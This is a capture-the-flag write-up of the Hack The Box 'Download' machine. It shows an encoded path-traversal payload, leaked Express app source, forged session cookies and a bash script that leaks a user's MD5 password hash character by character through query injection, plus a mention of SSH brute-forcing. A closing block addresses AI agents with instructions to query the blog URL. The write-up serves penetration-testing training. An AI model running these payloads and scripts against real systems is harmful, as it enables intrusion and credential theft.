# Download - HTB

<figure><img src="https://2459792242-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F4TFAEQ86UXTLdhGzyRhz%2Fuploads%2F0SHX5my9miPayReqBi7f%2Fimage.png?alt=media&#x26;token=f1312266-9fed-4fcd-a468-661bf8b53d54" alt=""><figcaption></figcaption></figure>

## [#foothold](#foothold "mention")

## **Path Traversal**

by just using encoded ../ to url ,you will be able to bypass the filter and get Path Traversal ,but its restrectid to only webapp root directory which is 'app' in this case as is the running on express node.js web application.

```
%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f
```

<figure><img src="https://2459792242-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F4TFAEQ86UXTLdhGzyRhz%2Fuploads%2FOnc6dWHGAbQKD3RH8ynD%2Fimage.png?alt=media&#x26;token=053825e9-68c5-4ddf-9827-a0537bfa419b" alt=""><figcaption><p>../../../app .. this respond means path exist</p></figcaption></figure>

<figure><img src="https://2459792242-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F4TFAEQ86UXTLdhGzyRhz%2Fuploads%2FxvgEKEaavQ3L7suaM4gO%2Fimage.png?alt=media&#x26;token=7c0076ba-fb9f-4cc6-9409-bc8fb9ebe074" alt=""><figcaption><p>../../../../mount ,this respond tell you mount dir doesnt exist</p></figcaption></figure>

<figure><img src="https://2459792242-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F4TFAEQ86UXTLdhGzyRhz%2Fuploads%2FPpMe5MvSIIodTLjAWz7E%2Fimage.png?alt=media&#x26;token=80982dde-4296-4e8d-94e9-8be0ce4cfb35" alt=""><figcaption><p>download app.js</p></figcaption></figure>

```
"use strict";
var __importDefault = (this && this.__importDefault) || function (mod) {
    return (mod && mod.__esModule) ? mod : { "default": mod };
};
Object.defineProperty(exports, "__esModule", { value: true });
const express_1 = __importDefault(require("express"));
const nunjucks_1 = __importDefault(require("nunjucks"));
const path_1 = __importDefault(require("path"));
const cookie_parser_1 = __importDefault(require("cookie-parser"));
const cookie_session_1 = __importDefault(require("cookie-session"));
const flash_1 = __importDefault(require("./middleware/flash"));
const auth_1 = __importDefault(require("./routers/auth"));
const files_1 = __importDefault(require("./routers/files"));
const home_1 = __importDefault(require("./routers/home"));
const client_1 = require("@prisma/client");
const app = (0, express_1.default)();
const port = 3000;
const client = new client_1.PrismaClient();
const env = nunjucks_1.default.configure(path_1.default.join(__dirname, "views"), {
    autoescape: true,
    express: app,
    noCache: true,
});
app.use((0, cookie_session_1.default)({
    name: "download_session",
    keys: ["<READECTED>"],
    maxAge: 7 * 24 * 60 * 60 * 1000,
}));
app.use(flash_1.default);
app.use(express_1.default.urlencoded({ extended: false }));
app.use((0, cookie_parser_1.default)());
app.use("/static", express_1.default.static(path_1.default.join(__dirname, "static")));
app.get("/", (req, res) => {
    res.render("index.njk");
});
app.use("/files", files_1.default);
app.use("/auth", auth_1.default);
app.use("/home", home_1.default);
app.use("*", (req, res) => {
    res.render("error.njk", { statusCode: 404 });
});
app.listen(port, process.env.NODE_ENV === "production" ? "127.0.0.1" : "0.0.0.0", () => {
    console.log("Listening on ", port);
    if (process.env.NODE_ENV === "production") {
        setTimeout(async () => {
            await client.$executeRawUnsafe(`COPY (SELECT "User".username, sum("File".size) FROM "User" INNER JOIN "File" ON "File"."authorId" = "User"."id" GROUP BY "User".username) TO '/var/backups/fileusages.csv' WITH (FORMAT csv);`);
        }, 300000);
    }
});

```

get the secret key ,and start forging your tokens

<figure><img src="https://2459792242-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F4TFAEQ86UXTLdhGzyRhz%2Fuploads%2FYPFRjpC5t0hjrgQBjJw2%2Fimage.png?alt=media&#x26;token=93ca3438-f0a5-46f6-9904-a18d5a90af3e" alt=""><figcaption></figcaption></figure>

as we can see we have two cookies ,token and its signature

<figure><img src="https://2459792242-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F4TFAEQ86UXTLdhGzyRhz%2Fuploads%2F6S5RK5XrMgkFDAKbf6Th%2Fimage.png?alt=media&#x26;token=e179e064-888d-41f1-ad53-d3c2d30fa92e" alt=""><figcaption></figcaption></figure>

we use the same token header to forge our own modified token

<figure><img src="https://2459792242-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F4TFAEQ86UXTLdhGzyRhz%2Fuploads%2FritCXc8GW7vvybzuVJoD%2Fimage.png?alt=media&#x26;token=d4c88160-9e4c-4238-84d5-eef9811091f9" alt=""><figcaption><p>forged my token for user id=1</p></figcaption></figure>

<figure><img src="https://2459792242-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F4TFAEQ86UXTLdhGzyRhz%2Fuploads%2Fdwmm32htcpS5iY3nHRFS%2Fimage.png?alt=media&#x26;token=83d8a414-a219-426d-a791-7826c711e61e" alt=""><figcaption></figcaption></figure>

We can see that it was uploaded by Wesley, who has the user ID 1. Now we have two options: we can attempt to brute-force Wesley's SSH password using Hydra, or we can extract the MD5 hash of the user password through a NoSQL attack by targeting the password field.

**#AFK-PATH**

<figure><img src="https://2459792242-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F4TFAEQ86UXTLdhGzyRhz%2Fuploads%2FN7lkaU759x8ckHtI4kst%2Fimage.png?alt=media&#x26;token=7f9087d2-bc8b-46b8-a7da-05fd1854a866" alt=""><figcaption><p>using rockyou wordlist but thats gonna take somuch time</p></figcaption></figure>

**#Hardcore PATH**

we can modify our token using contains to confirm if the md5 hash password contain "f" char

<figure><img src="https://2459792242-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F4TFAEQ86UXTLdhGzyRhz%2Fuploads%2F3VEmDpmdTcLIN7vqbsc2%2Fimage.png?alt=media&#x26;token=ec0a32a8-9262-46f7-b741-e8d904c202e5" alt=""><figcaption></figcaption></figure>

if you are able to see the user uploaded file ,that's mean its positive and the hash contains f char within it.

Now we try the "x" char which is not exist in the hash and lets check the respond

<figure><img src="https://2459792242-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F4TFAEQ86UXTLdhGzyRhz%2Fuploads%2FPUivvzMVyJmFHfVIJqQs%2Fimage.png?alt=media&#x26;token=a7fb9389-3423-4cad-a8e7-c8e95e5d0a31" alt=""><figcaption></figcaption></figure>

Now we are able to use 'startsWith' statment to dumb the full hash from beginning to end ,MD5 hash contains 32 char ,so we need to bruteforce 32 char ,this is too much work and scripting this is a must ,so i made a simple bash script inspired from this glue wrapper code

```
#!/bin/sh
prevchar=''

while true; do 

for char in {{a..z},{0..9}}; do
./test.sh ${prevchar}${char}
 if [ $? -eq 0 ]; then
             /bin/echo -n $char
             prevchar=$prevchar$char
             break
       fi

done
done
```

i have spent much time writing and testing the code ,and improving it and finally got this

```
#!/bin/bash

fuzz_chars=({a..z} {0..9})
prefix=""
found=false

while [ ${#prefix} -lt 32 ]; do
    for char in "${fuzz_chars[@]}"; do
        # Generate the cookie value
        cookie=$(cookie-monster -b --input-file <(echo "{\"user\":{\"id\":1,\"password\": {\"startsWith\": \"$pr>

        # Send an HTTP request and check if "wesley" exists in the response
        curl -s -H "Cookie: $cookie" download.htb/home | grep -q -i wesley

        # Check the exit status of the previous command
        if [ $? -eq 0 ]; then
            echo "Success: Start extracting the hash Value= '$prefix$char'."
            prefix="$prefix$char"
            found=true
            break
        fi
    done
    
    if [ "$found" = false ]; then
        break
    fi
    
    found=false
done

```


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://samfisher91.gitbook.io/samfisher-blog/download-htb.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
